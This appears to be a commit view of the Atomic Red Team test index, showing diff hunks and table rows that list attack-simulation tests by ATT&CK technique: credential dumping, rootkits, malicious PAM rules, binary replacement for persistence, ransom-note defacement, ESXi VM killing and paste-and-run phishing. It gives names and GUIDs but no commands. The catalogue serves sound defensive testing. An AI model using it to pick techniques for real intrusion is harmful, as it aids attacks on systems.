1006 execution T1204.002 User Execution: Malicious File 11 Mirror Blast Emulation 24fd9719-7419-42dd-bce6-ab3463110b3c powershell
execution T1204.002 User Execution: Malicious File 12 ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell 3f3120f0-7e50-4be2-88ae-54c61230cb9f powershell
1007 execution T1053.003 Scheduled Task/Job: Cron 1 Cron - Replace crontab with referenced file 435057fb-74b1-410e-9403-d81baf194f75 sh
1008 execution T1053.003 Scheduled Task/Job: Cron 2 Cron - Add script to all cron subfolders b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 bash
1009 execution T1053.003 Scheduled Task/Job: Cron 3 Cron - Add script to /etc/cron.d folder 078e69eb-d9fb-450e-b9d0-2e118217c846 sh
1299 persistence T1546.008 Event Triggered Execution: Accessibility Features 6 Replace utilman.exe (Ease of Access Binary) with cmd.exe 1db380da-3422-481d-a3c8-6d5770dba580 command_prompt
1300 persistence T1546.008 Event Triggered Execution: Accessibility Features 7 Replace Magnify.exe (Magnifier binary) with cmd.exe 5e4fa70d-c789-470e-85e1-6992b92bb321 command_prompt
1301 persistence T1546.008 Event Triggered Execution: Accessibility Features 8 Replace Narrator.exe (Narrator binary) with cmd.exe 2002f5ea-cd13-4c82-bf73-e46722e5dc5e command_prompt
persistence T1546.008 Event Triggered Execution: Accessibility Features 9 Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe 825ba8ca-71cc-436b-b1dd-ea0d5e109086 command_prompt
persistence T1546.008 Event Triggered Execution: Accessibility Features 10 Replace AtBroker.exe (App Switcher binary) with cmd.exe 210be7ea-d841-40ec-b3e1-ff610bb62744 command_prompt
1302 persistence T1136.002 Create Account: Domain Account 1 Create a new Windows domain admin user fcec2963-9951-4173-9bfa-98d8b7834e62 command_prompt
1303 persistence T1136.002 Create Account: Domain Account 2 Create a new account similar to ANONYMOUS LOGON dc7726d2-8ccb-4cc6-af22-0d5afb53a548 command_prompt
1304 persistence T1136.002 Create Account: Domain Account 3 Create a new Domain Account using PowerShell 5a3497a4-1568-4663-b12a-d4a5ed70c7d7 powershell
1534 collection T1560.001 Archive Collected Data: Archive via Utility 9 Encrypts collected data with AES-256 and Base64 a743e3a6-e8b2-4a30-abe7-ca85d201b5d3 bash
1535 collection T1560.001 Archive Collected Data: Archive via Utility 10 ESXi - Remove Syslog remote IP 36c62584-d360-41d6-886f-d194654be7c2 powershell
1536 collection T1560.001 Archive Collected Data: Archive via Utility 11 Compress a File for Exfiltration using Makecab 2a7bc405-9555-4f49-ace2-b2ae2941d629 command_prompt
collection T1560.001 Archive Collected Data: Archive via Utility 12 Copy and Compress AppData Folder 05e8942e-f04f-460a-b560-f7781257feec powershell
1537 collection T1113 Screen Capture 1 Screencapture 0f47ceb1-720f-4275-96b8-21f0562217ac bash
1538 collection T1113 Screen Capture 2 Screencapture (silent) deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4 bash
1539 collection T1113 Screen Capture 3 X Windows Capture 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac bash
1568 collection T1115 Clipboard Data 3 Execute commands from clipboard 1ac2247f-65f8-4051-b51f-b0ccdfaaa5ff bash
1569 collection T1115 Clipboard Data 4 Collect Clipboard Data via VBA 9c8d5a72-9c98-48d3-b9bf-da2cc43bdf52 powershell
1570 collection T1115 Clipboard Data 5 Add or copy content to clipboard with xClip ee363e53-b083-4230-aff3-f8d955f2d5bb sh
1571 collection T1530 Data from Cloud Storage Object 1 AWS - Scan for Anonymous Access to S3 Azure - Enumerate Azure Blobs with MicroBurst 979356b9-b588-4e49-bba4-c35517c484f5 3dab4bcc-667f-4459-aea7-4162dd2d6590 sh powershell
1572 collection T1530 Data from Cloud Storage Object 2 Azure - Dump Azure Storage Account Objects via Azure CLI Azure - Scan for Anonymous Access to Azure Storage (Powershell) 67374845-b4c8-4204-adcc-9b217b65d4f1 146af1f1-b74e-4aa7-9895-505eb559b4b0 powershell
1573 collection T1530 Data from Cloud Storage Object 3 AWS - Scan for Anonymous Access to S3 979356b9-b588-4e49-bba4-c35517c484f5 sh
1574 collection T1530 Data from Cloud Storage Object 4 Azure - Dump Azure Storage Account Objects via Azure CLI 67374845-b4c8-4204-adcc-9b217b65d4f1 powershell
1575 collection T1005 Data from Local System 1 Search files of interest and save them to a single zip file (Windows) d3d9af44-b8ad-4375-8b0a-4bff4b7e419c powershell
1576 collection T1005 Data from Local System 2 Find and dump sqlite databases (Linux) 00cbb875-7ae4-4cf1-b638-e543fd825300 bash
1577 collection T1005 Data from Local System 3 Copy Apple Notes database files using AppleScript cfb6d400-a269-4c06-a347-6d88d584d5f7 sh
1618 lateral-movement T1021.001 Remote Services: Remote Desktop Protocol 2 Changing RDP Port to Non Standard Port via Powershell 2f840dd4-8a2e-4f44-beb3-6b2399ea3771 powershell
1619 lateral-movement T1021.001 Remote Services: Remote Desktop Protocol 3 Changing RDP Port to Non Standard Port via Command_Prompt 74ace21e-a31c-4f7d-b540-53e4eb6d1f73 command_prompt
1620 lateral-movement T1021.001 Remote Services: Remote Desktop Protocol 4 Disable NLA for RDP via Command Prompt 01d1c6c0-faf0-408e-b368-752a02285cb2 command_prompt
1621 lateral-movement T1550.001 Use Alternate Authentication Material: Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 powershell
1622 lateral-movement T1550.001 Use Alternate Authentication Material: Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
1623 credential-access T1556.003 Modify Authentication Process: Pluggable Authentication Modules 1 Malicious PAM rule 4b9dde80-ae22-44b1-a82a-644bf009eb9c sh
1624 credential-access T1556.003 Modify Authentication Process: Pluggable Authentication Modules 2 Malicious PAM rule (freebsd) b17eacac-282d-4ca8-a240-46602cf863e3 sh
1625 credential-access T1556.003 Modify Authentication Process: Pluggable Authentication Modules 3 Malicious PAM module 65208808-3125-4a2e-8389-a0a00e9ab326 sh
1784 credential-access T1552.001 Unsecured Credentials: Credentials In Files 15 Find Azure credentials a8f6148d-478a-4f43-bc62-5efee9f931a4 sh
1785 credential-access T1552.001 Unsecured Credentials: Credentials In Files 16 Find GCP credentials aa12eb29-2dbb-414e-8b20-33d34af93543 sh
1786 credential-access T1552.001 Unsecured Credentials: Credentials In Files 17 Find OCI credentials 9d9c22c9-fa97-4008-a204-478cf68c40af sh
1787 credential-access T1528 Steal Application Access Token 1 Azure - Functions code upload - Functions code injection via Blob upload Azure - Dump All Azure Key Vaults with Microburst 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea powershell
credential-access T1528 Steal Application Access Token 2 Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1 powershell
1788 credential-access T1552.006 Unsecured Credentials: Group Policy Preferences 1 GPP Passwords (findstr) 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f command_prompt
1789 credential-access T1552.006 Unsecured Credentials: Group Policy Preferences 2 GPP Passwords (Get-GPPPassword) e9584f82-322c-474a-b831-940fd8b4455c powershell
1790 credential-access T1056.002 Input Capture: GUI Input Capture 1 AppleScript - Prompt User for Password 76628574-0bc1-4646-8fe2-8f4427b47d15 bash
1797 credential-access T1187 Forced Authentication 1 PetitPotam 485ce873-2e65-4706-9c7e-ae3ab9e14213 powershell
1798 credential-access T1187 Forced Authentication 2 WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS 7f06b25c-799e-40f1-89db-999c9cc84317 powershell
1799 credential-access T1187 Forced Authentication 3 Trigger an authenticated RPC call to a target server with no Sign flag set 81cfdd7f-1f41-4cc5-9845-bb5149438e37 powershell
credential-access T1555.006 Credentials from Password Stores: Cloud Secrets Management Stores 1 Azure - Dump All Azure Key Vaults with Microburst 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea powershell
1800 credential-access T1003.008 OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow 1 Access /etc/shadow (Local) 3723ab77-c546-403c-8fb4-bb577033b235 bash
1801 credential-access T1003.008 OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow 2 Access /etc/master.passwd (Local) 5076874f-a8e6-4077-8ace-9e5ab54114a5 sh
1802 credential-access T1003.008 OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow 3 Access /etc/passwd (Local) 60e860b6-8ae6-49db-ad07-5e73edd88f5d sh
2021 discovery T1083 File and Directory Discovery 5 Simulating MAZE Directory Enumeration c6c34f61-1c3e-40fb-8a58-d017d88286d8 powershell
2022 discovery T1083 File and Directory Discovery 6 Launch DirLister Executable c5bec457-43c9-4a18-9a24-fe151d8971b7 powershell
2023 discovery T1083 File and Directory Discovery 7 ESXi - Enumerate VMDKs available on an ESXi Host 4a233a40-caf7-4cf1-890a-c6331bbc72cf command_prompt
discovery T1083 File and Directory Discovery 8 Identifying Network Shares - Linux 361fe49d-0c19-46ec-a483-ccb92d38e88e sh
2024 discovery T1049 System Network Connections Discovery 1 System Network Connections Discovery 0940a971-809a-48f1-9c4d-b1d785e96ee5 command_prompt
2025 discovery T1049 System Network Connections Discovery 2 System Network Connections Discovery with PowerShell f069f0f1-baad-4831-aa2b-eddac4baac4a powershell
2026 discovery T1049 System Network Connections Discovery 3 System Network Connections Discovery FreeBSD, Linux & MacOS 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2 sh
2027 discovery T1049 System Network Connections Discovery 4 System Discovery using SharpView 96f974bb-a0da-4d87-a744-ff33e73367e9 powershell
2028 discovery T1619 Cloud Storage Object Discovery 1 AWS S3 Enumeration 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5 sh
2029 discovery T1619 Cloud Storage Object Discovery 2 Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI 070322a4-2c60-4c50-8ffb-c450a34fe7bf powershell
discovery T1619 Cloud Storage Object Discovery 3 Azure - Scan for Anonymous Access to Azure Storage (Powershell) 146af1f1-b74e-4aa7-9895-505eb559b4b0 powershell
discovery T1619 Cloud Storage Object Discovery 4 Azure - Enumerate Azure Blobs with MicroBurst 3dab4bcc-667f-4459-aea7-4162dd2d6590 powershell
2030 discovery T1654 Log Enumeration 1 Get-EventLog To Enumerate Windows Security Log a9030b20-dd4b-4405-875e-3462c6078fdc powershell
2031 discovery T1654 Log Enumeration 2 Enumerate Windows Security Log via WevtUtil fef0ace1-3550-4bf1-a075-9fea55a778dd command_prompt
2032 discovery T1057 Process Discovery 1 Process Discovery - ps 4ff64f0b-aaf2-4866-b39d-38d9791407cc sh
2145 impact T1489 Service Stop 5 Linux - Stop service by killing process using killall e5d95be6-02ee-4ff1-aebe-cf86013b6189 sh
2146 impact T1489 Service Stop 6 Linux - Stop service by killing process using kill 332f4c76-7e96-41a6-8cc2-7361c49db8be sh
2147 impact T1489 Service Stop 7 Linux - Stop service by killing process using pkill 08b4718f-a8bf-4bb5-a552-294fc5178fea sh
impact T1489 Service Stop 8 Abuse of linux magic system request key for Send a SIGTERM to all processes 6e76f56f-2373-4a6c-a63f-98b7b72761f1 bash
2148 impact T1491.001 Defacement: Internal Defacement 1 Replace Desktop Wallpaper 30558d53-9d76-41c4-9267-a7bd5184bed3 powershell
2149 impact T1491.001 Defacement: Internal Defacement 2 Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message ffcbfaab-c9ff-470b-928c-f086b326089b powershell
2150 impact T1491.001 Defacement: Internal Defacement 3 ESXi - Change Welcome Message on Direct Console User Interface (DCUI) 30905f21-34f3-4504-8b4c-f7a5e314b810 command_prompt
impact T1491.001 Defacement: Internal Defacement 4 Windows - Display a simulated ransom note via Notepad (non-destructive) 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5 powershell
2151 impact T1531 Account Access Removal 1 Change User Password - Windows 1b99ef28-f83c-4ec5-8a08-1a56263a5bb2 command_prompt
2152 impact T1531 Account Access Removal 2 Delete User - Windows f21a1d7d-a62f-442a-8c3a-2440d43b19e5 command_prompt
2153 impact T1531 Account Access Removal 3 Remove Account From Domain Admin Group 43f71395-6c37-498e-ab17-897d814a0947 powershell
2199 impact T1529 System Shutdown/Reboot 13 ESXi - Terminates VMs using pkill 987c9b4d-a637-42db-b1cb-e9e242c3991b command_prompt
2200 impact T1529 System Shutdown/Reboot 14 ESXi - Avoslocker enumerates VMs and forcefully kills VMs 189f7d6e-9442-4160-9bc3-5e4104d93ece command_prompt
2201 impact T1529 System Shutdown/Reboot 15 ESXi - vim-cmd Used to Power Off VMs 622cc1a0-45e7-428c-aed7-c96dd605fbe6 command_prompt
impact T1529 System Shutdown/Reboot 16 Abuse of Linux Magic System Request Key for Reboot d2a1f4bc-a064-4223-8281-a086dce5423c bash
2202 initial-access T1133 External Remote Services 1 Running Chrome VPN Extensions via the Registry 2 vpn extension 4c8db261-a58b-42a6-a866-0a294deedde4 powershell
2203 initial-access T1566.002 Phishing: Spearphishing Link 1 Paste and run technique bc177ef9-6a12-4ebc-a2ec-d41e19c2791d powershell
2204 initial-access T1566.001 Phishing: Spearphishing Attachment 1 Download Macro-Enabled Phishing Attachment 114ccff9-ae6d-4547-9ead-4cd69f687306 powershell
+1 -7
View File
@@ -16,8 +16,6 @@ defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD,
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",12,Chmod through c script (freebsd),da40b5fe-3098-4b3b-a410-ff177e49ee2e,sh
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",13,Chown through c script,18592ba1-5f88-4e3c-abc8-ab1c6042e389,sh
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",14,Chown through c script (freebsd),eb577a19-b730-4918-9b03-c5edcf51dc4e,sh
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,1,Decode Eicar File and Write to File,7693ccaa-8d64-4043-92a5-a2eb70359535,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,2,Decrypt Eicar File and Write to File,b404caaa-12ce-43c7-9214-62a531c044f7,powershell
defense-evasion,T1014,Rootkit,1,Loadable Kernel Module based Rootkit,dfb50072-e45a-4c75-a17e-a484809c8553,sh
defense-evasion,T1014,Rootkit,2,Loadable Kernel Module based Rootkit,75483ef8-f10f-444a-bf02-62eb0e48db6f,sh
defense-evasion,T1014,Rootkit,3,dynamic-linker based rootkit (libprocesshider),1338bf0c-fd0c-48c0-9e65-329f18e2c0d3,sh
@@ -28,7 +26,7 @@ defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Cachi
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,4,Unlimited sudo cache timeout (freebsd),a83ad6e8-6f24-4d7f-8f44-75f8ab742991,sh
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,5,Disable tty_tickets for sudo caching,91a60b03-fb75-4d24-a42e-2eb8956e8de1,sh
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,6,Disable tty_tickets for sudo caching (freebsd),4df6a0fe-2bdd-4be8-8618-a6a19654a57a,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory.,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,1,Detect Virtualization Environment (Linux),dfbd1a21-540d-4574-9731-e852bd6fe840,sh
defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,2,Detect Virtualization Environment (FreeBSD),e129d73b-3e03-4ae9-bf1e-67fc8921e0fd,sh
defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",1,rm -rf,989cc1b1-3642-4260-a809-54f9dd559683,sh
@@ -125,7 +123,6 @@ defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,42,Clear Pagg
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,43,Disable Memory Swap,e74e4c63-6fde-4ad2-9ee8-21c3a1733114,sh
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,47,Tamper with Defender ATP on Linux/MacOS,40074085-dbc8-492b-90a3-11bcfc52fda8,sh
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,50,ESXi - Disable Account Lockout Policy via PowerCLI,091a6290-cd29-41cb-81ea-b12f133c66cb,powershell
defense-evasion,T1562.001,Impair Defenses: Disable or Modify Tools,59,Disable ASLR Via sysctl parameters - Linux,ac333fe1-ce2b-400b-a117-538634427439,bash
defense-evasion,T1027,Obfuscated Files or Information,1,Decode base64 Data into Script,f45df6be-2e1e-4136-a384-8f18ab3826fb,sh
defense-evasion,T1036.003,Masquerading: Rename System Utilities,2,Masquerading as FreeBSD or Linux crond process.,a315bfff-7a98-403b-b442-2ea1b255e556,sh
defense-evasion,T1553.004,Subvert Trust Controls: Install Root Certificate,1,Install root CA on CentOS/RHEL,9c096ec4-fd42-419d-a762-d64cc950627e,sh
@@ -368,7 +365,6 @@ discovery,T1217,Browser Bookmark Discovery,4,List Google Chromium Bookmark JSON
discovery,T1016,System Network Configuration Discovery,3,System Network Configuration Discovery,c141bbdb-7fca-4254-9fd6-f47e79447e17,sh
discovery,T1083,File and Directory Discovery,3,Nix File and Directory Discovery,ffc8b249-372a-4b74-adcd-e4c0430842de,sh
discovery,T1083,File and Directory Discovery,4,Nix File and Directory Discovery 2,13c5e1ae-605b-46c4-a79f-db28c77ff24e,sh
discovery,T1083,File and Directory Discovery,8,Identifying Network Shares - Linux,361fe49d-0c19-46ec-a483-ccb92d38e88e,sh
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh
discovery,T1069.001,Permission Groups Discovery: Local Groups,1,Permission Groups Discovery (Local),952931a4-af0b-4335-bbbe-73c8c5b327ae,sh
@@ -427,7 +423,6 @@ impact,T1489,Service Stop,4,Linux - Stop service using systemctl,42e3a5bd-1e45-4
impact,T1489,Service Stop,5,Linux - Stop service by killing process using killall,e5d95be6-02ee-4ff1-aebe-cf86013b6189,sh
impact,T1489,Service Stop,6,Linux - Stop service by killing process using kill,332f4c76-7e96-41a6-8cc2-7361c49db8be,sh
impact,T1489,Service Stop,7,Linux - Stop service by killing process using pkill,08b4718f-a8bf-4bb5-a552-294fc5178fea,sh
impact,T1489,Service Stop,8,Abuse of linux magic system request key for Send a SIGTERM to all processes,6e76f56f-2373-4a6c-a63f-98b7b72761f1,bash
impact,T1531,Account Access Removal,4,Change User Password via passwd,3c717bf3-2ecc-4d79-8ac8-0bfbf08fbce6,sh
impact,T1486,Data Encrypted for Impact,1,Encrypt files using gpg (FreeBSD/Linux),7b8ce084-3922-4618-8d22-95f996173765,sh
impact,T1486,Data Encrypted for Impact,2,Encrypt files using 7z (FreeBSD/Linux),53e6735a-4727-44cc-b35b-237682a151ad,sh
@@ -444,7 +439,6 @@ impact,T1529,System Shutdown/Reboot,8,Reboot System via `halt` - Linux,78f92e14-
impact,T1529,System Shutdown/Reboot,9,Shutdown System via `poweroff` - FreeBSD/Linux,73a90cd2-48a2-4ac5-8594-2af35fa909fa,sh
impact,T1529,System Shutdown/Reboot,10,Reboot System via `poweroff` - FreeBSD,5a282e50-86ff-438d-8cef-8ae01c9e62e1,sh
impact,T1529,System Shutdown/Reboot,11,Reboot System via `poweroff` - Linux,61303105-ff60-427b-999e-efb90b314e41,bash
impact,T1529,System Shutdown/Reboot,16,Abuse of Linux Magic System Request Key for Reboot,d2a1f4bc-a064-4223-8281-a086dce5423c,bash
initial-access,T1078.003,Valid Accounts: Local Accounts,8,Create local account (Linux),02a91c34-8a5b-4bed-87af-501103eb5357,bash
initial-access,T1078.003,Valid Accounts: Local Accounts,9,Reactivate a locked/expired account (Linux),d2b95631-62d7-45a3-aaef-0972cea97931,bash
initial-access,T1078.003,Valid Accounts: Local Accounts,10,Reactivate a locked/expired account (FreeBSD),09e3380a-fae5-4255-8b19-9950be0252cf,sh
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
16 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 12 Chmod through c script (freebsd) da40b5fe-3098-4b3b-a410-ff177e49ee2e sh
17 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 13 Chown through c script 18592ba1-5f88-4e3c-abc8-ab1c6042e389 sh
18 defense-evasion T1222.002 File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification 14 Chown through c script (freebsd) eb577a19-b730-4918-9b03-c5edcf51dc4e sh
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 1 Decode Eicar File and Write to File 7693ccaa-8d64-4043-92a5-a2eb70359535 powershell
defense-evasion T1027.013 Obfuscated Files or Information: Encrypted/Encoded File 2 Decrypt Eicar File and Write to File b404caaa-12ce-43c7-9214-62a531c044f7 powershell
19 defense-evasion T1014 Rootkit 1 Loadable Kernel Module based Rootkit dfb50072-e45a-4c75-a17e-a484809c8553 sh
20 defense-evasion T1014 Rootkit 2 Loadable Kernel Module based Rootkit 75483ef8-f10f-444a-bf02-62eb0e48db6f sh
21 defense-evasion T1014 Rootkit 3 dynamic-linker based rootkit (libprocesshider) 1338bf0c-fd0c-48c0-9e65-329f18e2c0d3 sh
26 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 4 Unlimited sudo cache timeout (freebsd) a83ad6e8-6f24-4d7f-8f44-75f8ab742991 sh
27 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 5 Disable tty_tickets for sudo caching 91a60b03-fb75-4d24-a42e-2eb8956e8de1 sh
28 defense-evasion T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching 6 Disable tty_tickets for sudo caching (freebsd) 4df6a0fe-2bdd-4be8-8618-a6a19654a57a sh
29 defense-evasion T1036.005 Masquerading: Match Legitimate Name or Location 1 Execute a process from a directory masquerading as the current parent directory Execute a process from a directory masquerading as the current parent directory. 812c3ab8-94b0-4698-a9bf-9420af23ce24 sh
30 defense-evasion T1497.001 Virtualization/Sandbox Evasion: System Checks 1 Detect Virtualization Environment (Linux) dfbd1a21-540d-4574-9731-e852bd6fe840 sh
31 defense-evasion T1497.001 Virtualization/Sandbox Evasion: System Checks 2 Detect Virtualization Environment (FreeBSD) e129d73b-3e03-4ae9-bf1e-67fc8921e0fd sh
32 defense-evasion T1070.002 Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs 1 rm -rf 989cc1b1-3642-4260-a809-54f9dd559683 sh
123 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 43 Disable Memory Swap e74e4c63-6fde-4ad2-9ee8-21c3a1733114 sh
124 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 47 Tamper with Defender ATP on Linux/MacOS 40074085-dbc8-492b-90a3-11bcfc52fda8 sh
125 defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 50 ESXi - Disable Account Lockout Policy via PowerCLI 091a6290-cd29-41cb-81ea-b12f133c66cb powershell
defense-evasion T1562.001 Impair Defenses: Disable or Modify Tools 59 Disable ASLR Via sysctl parameters - Linux ac333fe1-ce2b-400b-a117-538634427439 bash
126 defense-evasion T1027 Obfuscated Files or Information 1 Decode base64 Data into Script f45df6be-2e1e-4136-a384-8f18ab3826fb sh
127 defense-evasion T1036.003 Masquerading: Rename System Utilities 2 Masquerading as FreeBSD or Linux crond process. a315bfff-7a98-403b-b442-2ea1b255e556 sh
128 defense-evasion T1553.004 Subvert Trust Controls: Install Root Certificate 1 Install root CA on CentOS/RHEL 9c096ec4-fd42-419d-a762-d64cc950627e sh
365 discovery T1016 System Network Configuration Discovery 3 System Network Configuration Discovery c141bbdb-7fca-4254-9fd6-f47e79447e17 sh
366 discovery T1083 File and Directory Discovery 3 Nix File and Directory Discovery ffc8b249-372a-4b74-adcd-e4c0430842de sh
367 discovery T1083 File and Directory Discovery 4 Nix File and Directory Discovery 2 13c5e1ae-605b-46c4-a79f-db28c77ff24e sh
discovery T1083 File and Directory Discovery 8 Identifying Network Shares - Linux 361fe49d-0c19-46ec-a483-ccb92d38e88e sh
368 discovery T1049 System Network Connections Discovery 3 System Network Connections Discovery FreeBSD, Linux & MacOS 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2 sh
369 discovery T1057 Process Discovery 1 Process Discovery - ps 4ff64f0b-aaf2-4866-b39d-38d9791407cc sh
370 discovery T1069.001 Permission Groups Discovery: Local Groups 1 Permission Groups Discovery (Local) 952931a4-af0b-4335-bbbe-73c8c5b327ae sh
423 impact T1489 Service Stop 5 Linux - Stop service by killing process using killall e5d95be6-02ee-4ff1-aebe-cf86013b6189 sh
424 impact T1489 Service Stop 6 Linux - Stop service by killing process using kill 332f4c76-7e96-41a6-8cc2-7361c49db8be sh
425 impact T1489 Service Stop 7 Linux - Stop service by killing process using pkill 08b4718f-a8bf-4bb5-a552-294fc5178fea sh
impact T1489 Service Stop 8 Abuse of linux magic system request key for Send a SIGTERM to all processes 6e76f56f-2373-4a6c-a63f-98b7b72761f1 bash
426 impact T1531 Account Access Removal 4 Change User Password via passwd 3c717bf3-2ecc-4d79-8ac8-0bfbf08fbce6 sh
427 impact T1486 Data Encrypted for Impact 1 Encrypt files using gpg (FreeBSD/Linux) 7b8ce084-3922-4618-8d22-95f996173765 sh
428 impact T1486 Data Encrypted for Impact 2 Encrypt files using 7z (FreeBSD/Linux) 53e6735a-4727-44cc-b35b-237682a151ad sh
439 impact T1529 System Shutdown/Reboot 9 Shutdown System via `poweroff` - FreeBSD/Linux 73a90cd2-48a2-4ac5-8594-2af35fa909fa sh
440 impact T1529 System Shutdown/Reboot 10 Reboot System via `poweroff` - FreeBSD 5a282e50-86ff-438d-8cef-8ae01c9e62e1 sh
441 impact T1529 System Shutdown/Reboot 11 Reboot System via `poweroff` - Linux 61303105-ff60-427b-999e-efb90b314e41 bash
impact T1529 System Shutdown/Reboot 16 Abuse of Linux Magic System Request Key for Reboot d2a1f4bc-a064-4223-8281-a086dce5423c bash
442 initial-access T1078.003 Valid Accounts: Local Accounts 8 Create local account (Linux) 02a91c34-8a5b-4bed-87af-501103eb5357 bash
443 initial-access T1078.003 Valid Accounts: Local Accounts 9 Reactivate a locked/expired account (Linux) d2b95631-62d7-45a3-aaef-0972cea97931 bash
444 initial-access T1078.003 Valid Accounts: Local Accounts 10 Reactivate a locked/expired account (FreeBSD) 09e3380a-fae5-4255-8b19-9950be0252cf sh
+1 -3
View File
@@ -10,12 +10,10 @@ defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD,
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",9,chattr - Remove immutable file attribute,e7469fe2-ad41-4382-8965-99b94dd3c13f,sh
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",11,Chmod through c script,973631cf-6680-4ffa-a053-045e1b6b67ab,sh
defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",13,Chown through c script,18592ba1-5f88-4e3c-abc8-ab1c6042e389,sh
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,1,Decode Eicar File and Write to File,7693ccaa-8d64-4043-92a5-a2eb70359535,powershell
defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,2,Decrypt Eicar File and Write to File,b404caaa-12ce-43c7-9214-62a531c044f7,powershell
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,1,Sudo usage,150c3a08-ee6e-48a6-aeaf-3659d24ceb4e,sh
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,3,Unlimited sudo cache timeout,a7b17659-dd5e-46f7-b7d1-e6792c91d0bc,sh
defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,5,Disable tty_tickets for sudo caching,91a60b03-fb75-4d24-a42e-2eb8956e8de1,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory.,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh
defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,4,Detect Virtualization Environment via ioreg,a960185f-aef6-4547-8350-d1ce16680d09,sh
defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,6,Detect Virtualization Environment using sysctl (hw.model),6beae646-eb4c-4730-95be-691a4094408c,sh
defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,7,Check if System Integrity Protection is enabled,2b73cd9b-b2fb-4357-b9d7-c73c41d9e945,sh
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
